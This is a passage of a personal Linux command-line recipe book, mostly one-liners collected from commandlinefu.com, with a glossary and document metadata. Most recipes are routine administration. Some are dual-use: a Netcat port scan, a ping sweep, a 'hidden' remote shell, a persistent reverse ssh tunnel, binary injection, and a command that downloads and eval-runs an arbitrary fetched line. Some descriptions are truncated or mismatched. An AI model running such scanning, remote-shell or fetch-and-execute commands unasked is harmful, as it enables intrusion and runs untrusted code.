@@ easter egg Is an unexpected function hidden in a piece of software @@ Unix-style operating system, This is an operating system which is somewhat 'unix-like' an included Apple OSX, Linux, FreeBSD, etc @@ Linux flavour, Linux Distribution Linux comes in a number of different distributions, such as Debian, Fedora, and Ubuntu to name only some of many. @@ regular expression A search pattern @@ recursive Recursive means to do an action for some object, and then repeat the same action for all objects which that object contains. @@ concatenate join together two or more things. For example join together 2 files with 'cat a.txt b.txt > c.txt' @@ command line @@ shell A shell is a piece of software which allows you to communicate with the computer by typing (rather cryptic) commands, and watching the output of those commands. This book focusses on the 'Bash' shell, which is probably the most popular shell on Unix, Linux and Apple OsX. @@ terminal The terminal is a piece of software which allows you to use the 'shell'. Examples are 'Konsole' for KDE @@ program A program is really just a piece of software which does something on the computer. @@ parse, parsing parsing is the process of analysing and splitting into its structure a text pattern. This is a very important task on all computer systems, since a great deal of data processing involves the parsing of one text pattern, and then the transformation of that pattern into another format. @@ thread @@ daemon @@ process These are similar but important concepts

printing jargon @@ pretty-print This refers to the process of preparing some piece of text automatically in some way which is pleasing to read once printed on a piece of paper or on a computer screen. The term is ambiguous since it can refer to the application of colour to a text file or to the changing and formatting of indentation and paragraph width

NOTES

AND IDEAS

This section should contain references to things which I think would be worthwhile investigating but which I havent and may well never get round to doing.

grsync. gimp thresholds. sea horse for encrypt

vnc and vino for remote control Tweetdeck, bluefish, dropbox, dialog, gdialog,

xxd - hexdumps

kompozer,

ORGANISATION

.. zim - note taker .. tomboy - note taker .. fzapper ..

DOCUMENT

-NOTES:

# this section contains information about the document and # will not normally be printed.

# a small icon image, filename relative to the "htdocs" folder document-icon: /img/icon/linux-penguin.png # document-image:
# what sort of document is this document-type: book # in what kind of state (good or bad) is this document document-quality: good # when was this document last updated last-revision: jan 2010

# a history of work on the document document-history:
@@ 2009 document begun @@ jan 2010 revision @@ 5 jan 2010 incorporated rewritten recipes from dsl.org @@ 8 jan 2010 got 4032 recipes from commandlinefu.com @@ early jan 2010 more detailed enscript description. This enscript chapter has now (april 2010) been moved to the 'linux-documentation-book.txt' although a few enscript recipes remain. @@ 24 jan 2010 added information about the 'halibut' and 'markdown' text transformation systems. @@ 25 jan 2010 removed a large quantity of unclassified recipes which had been incorporated from 'commandlinefu.com' @@ 26 march 2010 removed linux sound chapters into a separate book since it was getting to big @@ 27 march 2010 some general tidying up, classifying recipes. The task of cleaning and verifying all the commandfu recipes is a big one @@ 30 march 2010 added some zenity info @@ 2 april 2010 continuing with the rather overwhelming task of attempting to analyse all the recipes from commandlinefu.com and classify and weed them out. @@ 21 april 2010 some tidying up. wrote a vim command (:Bsi) to create screenshots of oneline commands and save them in the 'image' subfolder. Also the ':Bci' command just creates and displays a test image without saving it into the image folder. When building with the 'booktolatex.sed', 'booktolatex.cgi' scripts, we still have the problem that right aligned images 'push' the recipes out of alignment. @@ 6 may 2010 a little clean up of the 'introduction to the command line'. I had the idea of writing a 'culture shock' section for Microsoft users who are coming to Linux.

# work that needs to be done on this document to-do:
A great deal of work needs to be carried out @@ enscript reorganise the enscript recipes which came from the linux cook-book.

# # who wrote this authors: mjb ~ http://bumble.sf.net

# a short description of the contents, possible used for doc lists short-description: recipes for using linux from the command line

# a computer language used in the document (this helps latex pretty print) code-language: bash

# the script which will be used to produce html (a webpage) make-html: ./book-html.sh

# the script which will produce 'LaTeX' output (for printing, pdf etc) make-latex:

# one liners which may be useful # book-scripts:

* section and subsection headings can be viewed with

 sed -n '/\.\{4\}$/s/^/  /;/^ *[[:upper:]]\{2\}[^[:lower:]]*$/p' book.txt

COMMAND

FU NOTES

This section contains commands got from 'commandfu.com' and not yet classified or analysed.

* Like top, but for files

 watch -d -n 2 'df; ls -FlAt;'

* Quick case-insensitive partial filename search

 alias lg='ls --color=always | grep --color=always -i'

* Watch the progress of 'dd'

 dd if=/dev/urandom of=file.img bs=4KB& pid=$!

* Processor / memory bandwidthd? in GB/s

 dd if=/dev/zero of=/dev/null bs=1M count=32768

* Share a terminal screen with others

 % screen -r someuser/

* Show directories in the PATH, one per line

 ( IFS=:; for p in $PATH; do echo $p; done )

* Tweak system files without invoking a root shell

 echo "Whatever you need" | sudo tee [-a] /etc/system-file.cfg

* Look for IPv4 address in files.

 alias ip4grep "grep -E '([0-9]{1,3}\.){3}[0-9]{1,3}'"

* fuman, an alternative to the 'man' command that shows commandlinefu tips

 fuman(){ lynx -width=$COLUMNS -nonumbers -dump "http://www.commandlinefu.com/commands/using/$1" | less; }

* Reconnect to screen without disconnecting other sessions

 screen -xR

* Generate a binary file with all ones (0xff) in it

 tr '\000' '\377' < /dev/zero | dd of=allones bs=1024 count=2k

* Print stack trace of a core file without needing to enter gdb

 alias gdbbt="gdb -q -n -ex bt -batch"

* Remove color codes (special characters) with sed

 sed -r "s/\x1B\[([0-9]{1,3}((;[0-9]{1,3})*)?)?[m|K]//g

* calulate established tcp connection of local machine

 netstat -an|grep -ci "tcp.*established"

* Using column to format a directory listing

 (printf "PERMISSIONS LINKS OWNER GROUP SIZE MONTH DAY HH:MM PROG-NAME\n" \ ; ls -l | sed 1d) | column -t

* Port scan a range of hosts with Netcat.

 for i in {21..29}; do nc -v -n -z -w 1 192.168.0.$i 443; done

* calulate established tcp connection of local machine

 netstat -an | awk '$1 ~ /[Tt][Cc][Pp]/ && $NF ~ /ESTABLISHED/{i++}END{print "Connected:\t", i}'

* To get internet connection information .

 sudo /bin/netstat -tpee

* Copy via tar pipe while preserving file permissions

 cp -pr olddirectory newdirectory

* Show GCC-generated optimization commands when using the

 cc -march=native -E -v - </dev/null 2>&1 | grep cc1

* Show in a web server, running in the port 80, how many ESTABLISHED

 netstat -ant | grep :80 | grep ESTABLISHED | awk '{print $5}' | awk -F: '{print $1}' | sort | uniq -c | sort -n

* Count all conections estabilished on gateway

 cat /proc/net/ip_conntrack | grep ESTABLISHED | grep -c -v ^#

* List programs with open ports and connections

 netstat -ntauple

* Alternative size (human readable) of files and directories

 du -ms * .[^.]*| sort -nk1

* Uniformly correct filenames in a directory

 for i in *;do mv "$i" "$(echo $i | sed s/PROBLEM/FIX/g)";done

* Get a shell with a not available account

 su - <user> -s /bin/sh -c "/bin/sh"

* Size(k) of directories(Biggest first)

 find . -depth -type d -exec du -s {} \; | sort -k1nr

* purge installed but unused linux headers, image, or modules

 dpkg -l 'linux-*' | sed '/^ii/!d;/'"$(uname -r | sed "s/\(.*\)-\([^0-9]\+\)/\1/")"'/d;s/^[^ ]* [^ ]* \([^ ]*\).*/\1/;/[0-9]/!d' | xargs sudo apt-get -y purge

* Sort lines using the Xth characted as the start of the sort string

 sort -k1.x

* Poor man's nmap for a class C network from rfc1918

 ( nw=192.168.0 ; h=1; while [ $h -lt 255 ] ; do ( ping -c2 -i 0.2 -W 0.5 -n $nw.$h & ); h=$[ $h + 1 ] ; done ) | awk '/^64 bytes.*/ { gsub( ":","" ); print $4 }' | sort -u

* Random numbers with Ruby

 ruby -e "puts (1..20).map {rand(10 ** 10).to_s.rjust(10,'0')}"

* find listening ports by pid

 lsof -nP +p 24073 | grep -i listen | awk '{print $1,$2,$7,$8,$9}'

* Lock your KDE4 remotely (via regular KDE lock)

 DISPLAY=:0 /usr/lib/kde4/libexec/krunner_lock --forcelock >/dev/null 2>&1 &

* List last opened tabs in firefox browser

 F="$HOME/.moz*/fire*/*/session*.js" ; grep -Go 'entries:\[[^]]*' $F | cut -d[ -f2 | while read A ; do echo $A | sed s/url:/\n/g | tail -1 | cut -d\" -f2; done

* Break lines after, for example 78 characters, but don't break

 fold -w 78 -s file-to-wrap

* Function that counts recursively number of lines of all files in

 count() { find $@ -type f -exec cat {} + | wc -l; }

* Go to the next sibling directory in alphabetical order, version 2

 cd ../"$(ls -F ..|grep '/'|grep -A1 `basename $PWD`|tail -n 1)"

* find largest file in /var

 find /var -mount -ls -xdev | /usr/bin/sort -nr +6 | more

* Show established network connections

 lsof -i | grep -i estab

* Start screen with name and run command

 screen -dmS "name_me" echo "hi"

* Replace Solaris vmstat numbers with human readable format

 vmstat 1 10 | /usr/xpg4/bin/awk -f ph-vmstat.awk

* Browse shared folder when you're the only Linux user

 smbclient -U userbob //10.1.1.75/Shared

* connect to all screen instances running

 screen -ls | grep pts | gawk '{ split($1, x, "."); print x[1] }' | while read i; do gnome-terminal -e screen\ -dx\ $i; done

* Use ImageMagick to get an image's properties

 identify -ping imageName.png

* Show apps that use internet connection at the moment.

 lsof -P -i -n | cut -f 1 -d " "| uniq | tail -n +2

* send echo to socket network

 echo "foo" > /dev/tcp/192.168.1.2/25

* Colorized grep in less

 grep --color=always | less -R

* Search recursively to find a word or phrase in certain file

 find . -name "*.[ch]" -exec grep -i -H "search pharse" {} \;

* Recursively change permissions on files, leave directories alone.

 find ./ -type f -exec chmod 644 {} \;

* ensure your ssh tunnel will always be up (add in crontab)

 [[ $(COLUMNS=200 ps faux | awk '/grep/ {next} /ssh -N -R 4444/ {i++} END {print i}') ]] || nohup ssh -N -R 4444:localhost:22 user@relay &

* Download from Rapidshare Premium using wget - Part 1

 wget --save-cookies ~/.cookies/rapidshare --post-data "login=USERNAME&password=PASSWORD" -O - https://ssl.rapidshare.com/cgi-bin/premiumzone.cgi > /dev/null

* Recursively lists all files in the current directory, except the

 find . -wholename './.snapshot' -prune -o -print

* Monitor Linux/MD RAID Rebuild

 watch -n 5 -d cat /proc/mdstat

* memcache affinity: queries local memcached for stats, calculates

 echo -en "stats\r\n" "quit\r\n" | nc localhost 11211 | tr -s [:cntrl:] " "| cut -f42,48 -d" " | sed "s/\([0-9]*\)\s\([0-9]*\)/ \2\/\1*100/" | bc -l

* nmap IP block and autogenerate comprehensive Nagios service

 nmap -sS -O -oX /tmp/nmap.xml 10.1.1.0/24 -v -v && perl nmap2nagios.pl -v -r /tmp/10net.xml -o /etc/nagios/10net.cfg

* Convert df command to posix; uber GREPable

 df -P

* List top 20 IP from which TCP connection is in SYN_RECV state

 netstat -pant 2> /dev/null | grep SYN_ | awk '{print $5;}' | cut -d: -f1 | sort | uniq -c | sort -n | tail -20

* Show what a given user has open using lsof

 lsof -u www-data

* show all programs connected or listening on a network port

 alias nsl 'netstat -f inet | grep -v CLOSE_WAIT | cut -c-6,21-94 | tail +2'

* Show number of NIC's, ports per nic and PCI address

 lspci | grep Ether | awk '{ VAR=$1; split(VAR,ARR,"."); count[ARR[1]]++; LINE=$0; split(LINE,LINEARR,":"); LINECOUNT[ARR[1]]=LINEARR[3]; } END { for(i in count) { printf("PCI address: %s\nPorts: %d\nCard Type: %s\n", i, count[i], LINECOUNT[i]) } }'

* locate bin, src, and man file for a command

 whereis somecommand

* Display all readline bindings that use CTRL

 bind -p | grep -F "\C"

* Synchronise a file from a remote server

 rsync -av -e ssh user@host:/path/to/file.txt .

* Is it a terminal?

 isatty(){ test -t $1; }

* create disk copy over the net without temp files

 SOURCE: dd if=/dev/sda bs=16065b | netcat ip-target 1234 TARGET: netcat -l -p 1234 | dd of=/dev/mapper/laptop bs=16065b STATS on target: watch -n60 -- kill -USR1 $(pgrep dd)

* Write a listing of all directories and files on the computer to an archive

 sudo ls -RFal / | gzip > all_files_list.txt.gz

* Collect a lot of icons from /usr/share/icons (may overwrite some,

 mkdir myicons && find /usr/share/icons/ -type f | xargs cp -t myicons

* copy ACL of one file to another using getfacl and setfacl

 getfacl <file-with-acl> | setfacl -f - <file-with-no-acl>

* determine if tcp port is open

 nmap -p 80 hostname

* determine if tcp port is open

 if (nc -zw2 www.example.com 80); then echo open; fi

* Strace all signals processes based on a name ( The processes

 straceprocessname(){ x=( $(pgrep "$@") ); [[ ${x[@]} ]] || return 1; strace -vf ${x[@]/#/-p }; }

* last.fm rss parser

 awk '/<link>/{gsub(/.*<link>|<\/link>.*/,"");print "<li><a href=\042"$0"\042> "t"</a>" } /<title>/{gsub(/.*<title>|<\/title>.*/,"");t=$0 }' file

* last.fm rss parser

 egrep "<link>|<title>" recenttracks.rss | awk 'ORS=NR%2?" ":"\n"' | awk -F "</title>" '{print $2, $1}' | sed -e 's/\<link\>/\<li\>\<a href\=\"/' -e 's/\<\/link\>/\">/' -e 's/\<title\>//' -e 's/$/\<\/a\>\<\/li\>/g' -e '1,1d' -e 's/^[ \t]*//'

* Mount a partition from dd disk image

 mount -o loop,offset=$((512*x)) /path/to/dd/image /mount/path

* Sorted list of established destination connections

 netstat | awk '/EST/{print $5}' | sort

* List all symbolic links in current directory

 \ls -1 | xargs -l readlink

* remove files and directories with acces time older than a given

 touch -t "YYYYMMDDhhmm.ss" dummy ; find . -anewer dummy

* Show sorted list of files with sizes more than 1MB in the current

 du | sort -nr | cut -f2- | xargs du -hs

* exit if another instance is running

 if [ `fuser $0|wc -w` -gt "1" ];then exit; fi

* Find files recursively that were updated in the last hour ignoring

 find . -mmin -60 -not -path "*svn*" -print|more

* Clean your broken terminal

 reset

* umount all nfs mounts on machine

 mount | grep : | awk {'print $3'} | xargs sudo umount -v

* Get your external IP address with a random commandlinefu.com

 IFS=$'\n';cl=($(curl -s http://www.commandlinefu.com/commands/matching/external/ZXh0ZXJuYWw=/so rt-by-votes/plaintext|sed -n '/^# Get your external IP address$/{n;p}'));c=${cl[$(( $RANDOM % ${#cl[@]} ))]};eval $c;echo "Command used: $c"

* Counts number of lines (in source code excluding comments)

 find . -name '*.java' | xargs -L 1 cpp -fpreprocessed | grep . | wc -l

* Empty a file

 truncate -s0 file

* grep -v with multiple patterns.

 grep test somefile | grep -v -e error -e critical -e warning

* Set creation timestamp of a file to the creation timestamp of

 touch -r "$FILE1" "$FILE2"

* Commit command to history file immedeately after execution

 PROMPT_COMMAND="history -a"

* Make directories for and mount all iso files in a folder

 for file in *.iso; do mkdir `basename $file | awk -F. '{print $1}'`; sudo mount -t iso9660 -o loop $file `basename $file | awk -F. '{print $1}'`; done

* disk space email alert

 [ $(df / | perl -nle '/([0-9]+)%/ && print $1') -gt 90 ] && df -hP | mutt -s "Disk Space Alert -- $(hostname)" admin@example.com

* Stop long commands wrapping around and over-writing itself in the

 shopt -s checkwinsize

* download all the presentations from UTOSC2009

 b="http://2009.utosc.com"; for p in $( curl -s $b/presentation/schedule/ | grep /presentation/[0-9]*/ | cut -d"\"" -f2 ); do f=$(curl -s $b$p | grep "/static/slides/" | cut -d"\"" -f4); if [ -n "$f" ]; then echo $b$f; curl -O $b$f; fi done

* Functions to display, save and restore $IFS

 ifs () { echo -n "${IFS}"|hexdump -e '"" 10/1 "'\''%_c'\''\t" "\n"' -e '"" 10/1 "0x%02x\t" "\n\n"'|sed "s/''\|\t0x[^0-9]//g; $,/^$/d"

* Schedule Nice Background Commands That Won't Die on Logout -

 ( trap '' 1; ( nice -n 19 sleep 2h && command rm -v -rf /garbage/ &>/dev/null && trap 1 ) & )

* Go get those photos from a Picasa album

 wget 'link of a Picasa WebAlbum' -O - |perl -e'while(<>){while(s/"media":{"content":\[{"url":"(.+?\.JPG)//){print "$1\n"}}' |wget -w1 -i -

* 32 bits or 64 bits?

 sudo lshw -C cpu|grep width

* Show current pathname in title of terminal

 export PROMPT_COMMAND='echo -ne "\033]0;${PWD/#$HOME/~}\007";'

* print all except first collumn

 cut -f 2- -d " "

* Search for a string inside all files in the current directory

 find . -type f -exec grep -i <pattern> \;

* Find and display most recent files using find and perl

 find $HOME -type f -print0 | perl -0 -wn -e '@f=<>; foreach $file (@f){ (@el)=(stat($file)); push @el, $file; push @files,[ @el ];} @o=sort{$a->[9]<=>$b->[9]} @files; for $i (0..$#o){print scalar localtime($o[$i][9]), "\t$o[$i][-1]\n";}'|tail

* create SQL-statements from textfile with awk

 $ awk '{printf "select * from table where id = %c%s%c;\n",39,$1,39; }' inputfile.txt

* Send a local file via email

 cat filename | mail -s "Email subject" user@example.com

* Track X Window events in chosen window

 xev -id `xwininfo | grep 'Window id' | awk '{print $4}'`

* Test file system performance

 bonnie++ -n 0 -u 0 -r <physical RAM> -s <2 x physical ram> -f -b -d <mounted disck>

* (Git) Revert files with changed mode, not content

 git diff --numstat | awk '{if ($1 == "0" && $1 == "0") print $3}' | xargs git checkout HEAD

* Instant mirror from your laptop + webcam

 mplayer tv:// -vf mirror

* Instant mirror from your laptop + webcam

 cvlc v4l2:// :vout-filter=transform :transform-type=vflip :v4l2-width=320 :v4l2-height=240 -f &

* Shorten any Url using bit.ly API, using your API Key which

 curl "http://api.bit.ly/shorten?version=2.0.1&longUrl=<LONG_URL_YOU_WANT_SHO RTENED>&login=<YOUR_BITLY_USER_NAME>&apiKey=<YOUR_API_KEY>"

* Archive all SVN repositories in platform indepenent form

 budir=/tmp/bu.$$;for name in repMainPath/*/format;do dir=${name%/format};bufil=dumpPath/${dir##*/};svnadmin hotcopy --clean-logs $dir $budir;svnadmin dump --delta $budir>$bufil;rm -rf $budir;done

* preprocess code to be posted in comments on this site

 sed 's/^/$ /' "$script" | xclip

* send echo to socket network

 echo foo | netcat 192.168.1.2 25

* Display the standard deviation of a column of numbers with awk

 awk '{delta = $1 - avg; avg += delta / NR; mean2 += delta * ($1 - avg); } END { print sqrt(mean2 / NR); }'

* Compute running average for a column of numbers

 awk '{avg += ($1 - avg) / NR;} END { print avg; }'

* Route outbound SMTP connections through a addtional IP address

 iptables -t nat -A POSTROUTING -p tcp --dport 25 -j SNAT --to-source IP_TO_ROUTE_THROUGH

* Check if x509 certificate file and rsa private key match

 diff <(openssl x509 -noout -modulus -in server.crt ) <( openssl rsa -noout -modulus -in server.key )

* clone ide hard disk

 sudo dd if=/dev/hda1 of=/dev/hdb2

* Update Ping.fm status

 curl -d api_key="$api_key" -d user_app_key="$user_app_key -d body="$body" -d post_method="default" http://api.ping.fm/v1/user.post

* Send a signed and encrypted email from the command line

 echo "SECRET MESSAGE" | gpg -e --armor -s | sendmail USER@DOMAIN.COM

* fetch all revisions of a specific file in an SVN repository

 svn log fileName | sed -ne "/^r\([0-9][0-9]*\).*/{;s//\1/;s/.*/svn cat fileName@& > fileName.r&/p;}" | sh -s

* Ultimate current directory usage command

 du -a --max-depth=1 | sort -n | cut -d/ -f2 | sed '$d' | while read i; do if [ -f $i ]; then du -h "$i"; else echo "$(du -h --max-depth=0 "$i")/"; fi; done

* Reinstall Grub

 sudo grub-install --recheck /dev/sda1

xxhere

* dstat- this command is powerful one to monitor system activity .

 dstat -afv

* Search for an active process without catching the search-process

 ps -ef | awk '/process-name/ && !/awk/ {print}'

* Replace Every occurrence of a word in a file

 perl -p -i -e 's/this/that/g' filename

* Get a list of all your VirtualBox virtual machines by name and

 VBoxManage list vms

* run a VirtualBox virtual machine without a gui

 VBoxHeadless -s <name|uuid>

* Start a command on only one CPU core

 taskset -c 0 your_command

* Resume an emerge, and keep all object files that are already

 FEATURES=keepwork emerge --resume

* Synchronize both your system clock and hardware clock and

 ntpdate pool.ntp.org && hwclock --systohc && hwclock --adjust

* 'Fix' a typescript file created by the 'script' program to remove

 cat typescript | perl -pe 's/\e([^\[\]]|\[.*?[a-zA-Z]|\].*?\a)//g' | col -b > typescript-processed

* Replace all tabs with spaces in an application

 grep -PL "\t" -r . | grep -v ".svn" | xargs sed -i 's/\t/ /g'

* Getting Screen's Copy Buffer Into X's Copy Buffer (on Linux)

 Type "c-a b" in gnu screen after updating your .screenrc (See Description below).

* using scanner device from command line

 scanimage -d mustek_usb --resolution 100 --mode Color > image.pnm

* Make a directory named with the current date

 mkdir `date --iso`

* Duplicating service runlevel configurations from one server to

 chkconfig --list | fgrep :on | sed -e 's/\(^.*\)*0:off/\1:/g' -e 's/\(.\):on/\1/g' -e 's/.:off//g' | tr -d [:blank:] | awk -F: '{print$2,$1}' | ssh host 'cat > foo'

* Validate and pretty-print JSON expressions.

 echo '{"json":"obj"}' | python -m simplejson.tool

* Find and delete oldest file of specific types in directory tree

 find / \( -name "*.log" -o -name "*.mylogs" \) -exec ls -lrt {} \; | sort -k6,8 | head -n1 | cut -d" " -f8- | tr -d '\n' | xargs -0 rm

* Remove all backup files in my home directory

 find ~user/ -name "*~" -exec rm {} \;

* Get an IP address out of fail2ban jail

 iptables -D fail2ban-SSH -s <ip_address_to_be_set_free> -j DROP

* Safe Delete

 shred -n33 -zx file; rm file

* Search for files older than 30 days in a directory and list only

 find /var/www/html/ -type f -mtime +30 -exec basename {} \;

* Working random fact generator

 lynx -dump randomfunfacts.com | grep -A 3 U | sed 1D

* Mac OS X: Change Color of the ls Command

 export LSCOLORS=gxfxcxdxbxegedabagacad

* split source code to page with numbers

 pr -l 40 bitree.c > printcode; split -40 printcode -d page_

* Pick a random image from a directory (and subdirectories) every

 while true; do xfconf-query -c xfce4-desktop -p /backdrop/screen0/monitor0/image-path -s "$(find <image-directory> -type f -iregex '.*\.\(bmp\|gif\|jpg\|png\)$' | sort -R | head -1)"; sleep 30m; done

* Change wallpaper for xfce4 >= 4.6.0

 xfconf-query -c xfce4-desktop -p /backdrop/screen0/monitor0/image-path -s <image-file>

* Prevent non-root users from logging in

 touch /etc/nologin

* Display time of accounts connection on a system

 ac -p

* Change Gnome wallpaper

 gconftool-2 -t string -s /desktop/gnome/background/picture_filename <path_to_image>

* Clone current directory into /destination verbosely

 find . | cpio -pumdv /destination

* Mount a disk image (dmg) file in Mac OSX

 hdiutil attach somefile.dmg

* Connect to all running screen instances

 for i in `screen -ls | perl -ne'if(/^\s+\d+\.([^\s]+)/){print $1, " "}'`; do gnome-terminal -e "screen -x $i"; done

* compare two Microsoft Word documents

 meld <(antiword microsoft_word_a.doc) <(antiword microsoft_word_b.doc)

* Mount important virtual system directories under chroot'ed

 for i in sys dev proc; do sudo mount --bind /$i /mnt/xxx/$i; done

* Set Time Zone in Ubuntu

 sudo dpkg-reconfigure tzdata

* Summarise the size of all files matching a simple regex

 find /path/to/my/files/ -type f -name "*txt*" | xargs du -k | awk 'BEGIN{x=0}{x=x+$1}END{print x}'

* Root shell

 sudo -i

* Remove all hidden files in a directory

 rm -r .??*

* Prints any IP out of a file

 perl -ne 'while (/([0-9]+\.){3}[0-9]+/g) {print "$&\n"};' file.txt

* Dump HTTP header using wget

 wget --server-response --spider http://www.example.com/

* backup your entire hosted website using cPanel backup interface

 wget --http-user=YourUsername --http-password=YourPassword http://YourWebsiteUrl:2082/getbackup/backup-YourWebsiteUrl-`date +"%-m-%d-%Y"`.tar.gz

* Copy input sent to a command to stderr

 rev <<< 'lorem ipsum' | tee /dev/stderr | rev

* create a simple version of ls with extended output

 alias l='ls -CFlash'

* Make info pages much less painful

 pinfo date

* print battery , thermal , and cooling info

 acpi -tc

* View a man page on a nice interface

 yelp man:foo

* Emptying a text file in one shot

 :1,$d

* find an unused unprivileged TCP port

 netstat -atn | awk ' /tcp/ {printf("%s\n",substr($4,index($4,":")+1,length($4) )) }' | sed -e "s/://g" | sort -rnu | awk '{array [$1] = $1} END {i=32768; again=1; while (again == 1) {if (array[i] == i) {i=i+1} else {print i; again=0}}}'

* Change files case, without modify directories, recursively

 find ./ -name '*.JPG' -type f -execdir rename -f 'y/A-Z/a-z/' {} \+

* force unsupported i386 commands to work on amd64

 setarch i386 [command [args]]

* Combine all .mpeg files in current directory into one big one.

 cat *.mpg > all.mpg

* Output system statistics every 5 seconds with timestamp

 while [ 1 ]; do echo -n "`date +%F_%T`" ; vmstat 1 2 | tail -1 ; sleep 4; done

* Tail a log file with long lines truncated

 tail -f logfile.log | cut -b 1-80

* Spell check the text in clipboard (paste the corrected clipboard

 xclip -o > /tmp/spell.tmp; aspell check /tmp/spell.tmp ; cat /tmp/spell.tmp | xclip

* Display information sent by browser

 nc -l 8000

* Determine the version of a specific package with RPM

 rpm -q --qf "%{VERSION}\n" redhat-release

* add a gpg key to aptitute package manager in a ubuntu system

 wget -q http://xyz.gpg -O- | sudo apt-key add -

* Quick calculator at the terminal

 echo "$math_expr" | bc -l

* Remove embedded fonts from a pdf.

 gs -sDEVICE=pswrite -sOutputFile=- -q -dNOPAUSE With-Fonts.pdf -c quit | ps2pdf - > No-Fonts.pdf

* Quick plotting of a function

 seq 0 0.1 20 | awk '{print $1, cos(0.5*$1)*sin(5*$1)}' | graph -T X

* Add thousand separator with sed, in a file or within pipe

 sed -e :a -e 's/\(.*[0-9]\)\([0-9]\{3\}\)/\1,\2/;ta' filename

* Downsample mp3s to 128K

 for f in *.mp3 ; do lame --mp3input -b 128 "$f" ./resamp/"$f" ; done

* start vim in diff mode

 vimdiff file{1,2}

* Time Synchronisation with NTP

 ntpdate ntp.ubuntu.com pool.ntp.org

* Lists architecture of installed RPMs

 rpm -qa --queryformat "%{NAME} %{ARCH}\n"

* Display usb power mode on all devices

 for i in `find /sys/devices/*/*/usb* -name level` ; do echo -n "$i: " ; cat $i ; done

* Display a list of RPMs installed on a particular date

 rpm -qa --queryformat '%{installtime} \"%{vendor}\" %{name}-%{version}-%{release} %{installtime:date}\n' | grep "Thu 05 Mar"

* create a backup for all directories from current dir

 find -maxdepth 1 -type d -print0 | xargs -0 -I {} tar -cvzf {}.tar.gz {}

* Display 6 largest installed RPMs sorted by size (descending)

 rpm -qa --qf '%{SIZE} %{NAME}\n' | sort -nr | nl | head -6 # six largest RPMs

* Convert embedded spaces in filenames to "_" (underscore)

 ls -1 | grep " " | awk '{printf("mv \"%s\" ",$0); gsub(/ /,"_",$0); printf("%s\n",$0)}' | sh # rename filenames: spaces to "_"

* Display kernel profile of currently executing functions in

 lockstat -I -i 977 -s 30 -h sleep 1 > /tmp/profile.out

* List all the files that have been deleted while they were still

 lsof | egrep "^COMMAND|deleted"

* Search through all installed packages names (on RPM systems)

 rpm -qa \*code\*

* Binary injection

 echo -n $HEXBYTES | xxd -r -p | dd of=$FILE seek=$((0x$OFFSET)) bs=1 conv=notrunc

* Forwards connections to your port 2000 to the port 22 of a remote

 ssh -NL 2000:remotehost:22 remotehost

* Change the extension of a filename by using rename to convert

 rename .JPG .jpg *.JPG

* Repeatedly send a string to stdout-- useful for going through

 yes "text" | annoying_installer_program # "text" defaults to the letter y

* Remove annoying OS X DS_Store folders

 find . -name .DS_Store -exec rm {} \;

* Copy the text from the 3rd line to the 9th line into a new file

 :3,9w new_file

* cat stdout of multiple commands

 cat <( command1 arg arg ) <( command2 arg ) ...

* Find commets in jpg files.

 find / -name "*.jpg" -print -exec rdjpgcom '{}' ';'

* View a file with less, starting at the end of the file

 less +G <filename>

* vi case insensitive search

 :set ic

* "hidden" remote shell

 ssh -T user@host /bin/bash -i

* Find all files with root SUID or SGID executables

 sudo find / -type f \( -perm /4000 -a -user root \) -ls -o \( -perm /2000 -a -group root \) -ls

* Delete empty directories recursively

 find <top_level_dir> -depth -type d -empty -exec rmdir -v {} \;

* Remove several files with ease

 rm file{1..10}

* Prints new content of files

 tail -f file1 (file2 .. fileN)

* Extract icons from windows exe/dll

 wrestool -x --output . -t14 /path/to/your-file.exe

* Know which version dpkg/apt considers more recent

 dpkg --compare-versions 1.0-2ubuntu5 lt 1.1-1~raphink3 && echo y || echo n

* Replace "space" char with "dot" char in current directory file

 ls -1 | while read a; do mv "$a" `echo $a | sed -e 's/\ /\./g'`; done

* sort ugly text

 sort -bdf

* Recursive Search and Replace

 perl -pi -e's/<what to find>/<what to replace it with>/g' `grep -Rl <what to find> /<dir>/*`

* remove all snapshots from all virtual machines in vmware esx

 time vmware-cmd -l | while read x; do printf "$x"; vmware-cmd "$x" removesnapshots; done

* Print the last modified file

 ls -t1 | head -n1

* Symlink all files from a base directory to a target directory

 for f in $(ls -d /base/*); do ln -s $f /target; done && ls -al /target

* Create passwords and store safely with gpg

 tr -dc "a-zA-Z0-9-_\$\?" < /dev/urandom | head -c 10 | gpg -e -r medha@nerdish.de > password.gpg

* Type strait into a file from the terminal.

 cat /dev/tty > FILE

* convert a pdf to jpeg

 sips -s format jpeg Bild.pdf --out Bild.jpg

* Cleanly manage tempfiles in scripts

 TMPROOT=/tmp; TMPDIR=$(mktemp -d $TMPROOT/somedir.XXXXXX); TMPFILE=$(mktemp $TMPROOT/somefile.XXXXXX); trap "rm -rf $TMPDIR $TMPFILE; exit" INT TERM EXIT; some treatment using $TMPDIR and $TMPFILE; exit 0

* 1:1 copy of a volume

 find / -xdev -print | cpio -pdmuv /mnt/mydisk

* sort through source to find most common authors

 find . -type f -name "*.java" -print0 | xargs -0 -n 1 svn blame | sed -n 's/^[^a-z]*\([a-z]*\).*$/\1/p' | sort | uniq -c | sort -n

* Drop or block attackers IP with null routes

 sudo route add xxx.xxx.xxx.xxx gw 127.0.0.1 lo

* split a string (3)

 OLD_IFS="$IFS"; IFS=: ARRAY=($PATH); echo ${ARRAY[2]}; IFS="$OLD_IFS"

* get your terminal back after it's been clobbered

 reset

* Set file access control lists

 setfacl -m u:john:r-- myfile

* Compress logs older than 7 days

 find /path/to/files -type f -mtime +7 | grep -v \.gz | xargs gzip

* restore the contents of a deleted file for which a descriptor is

 N="filepath" ; P=/proc/$(lsof +L1 | grep "$N" | awk '{print $2}')/fd ; ls -l $P | sed -rn "/$N/s/.*([0-9]+) ->.*/\1/p" | xargs -I_ cat $P/_ > "$N"

* Quickest way to sort/display # of occurences

 "some line input" | sort | uniq -c | sort -nr

* Copy a file from a remote server to your local box using

 rsync -Pz user@remotehost:/path/file.dat .

* Show current iptables rules, with line numbers

 iptables -nL -v --line-numbers

* Find out the last times your system was rebooted (for the duration

 last reboot

* Follow a new friend on twitter

 curl -u USERNAME:PASSWORD -d "" http://twitter.com/friendships/create/NAMEOFNEWFRIEND.xml?follow=true

* checking space availabe on all /proc/mounts points (using Nagios

 check_disk -w 15% -c 10% $(for x in $(cat /proc/mounts |awk '{print $2}')\; do echo -n " -p $x "\; done)

* doing some floating point math

 echo "8000000/(20*6*86400)" | bc -l

* List all active access_logs for currently running Apache or

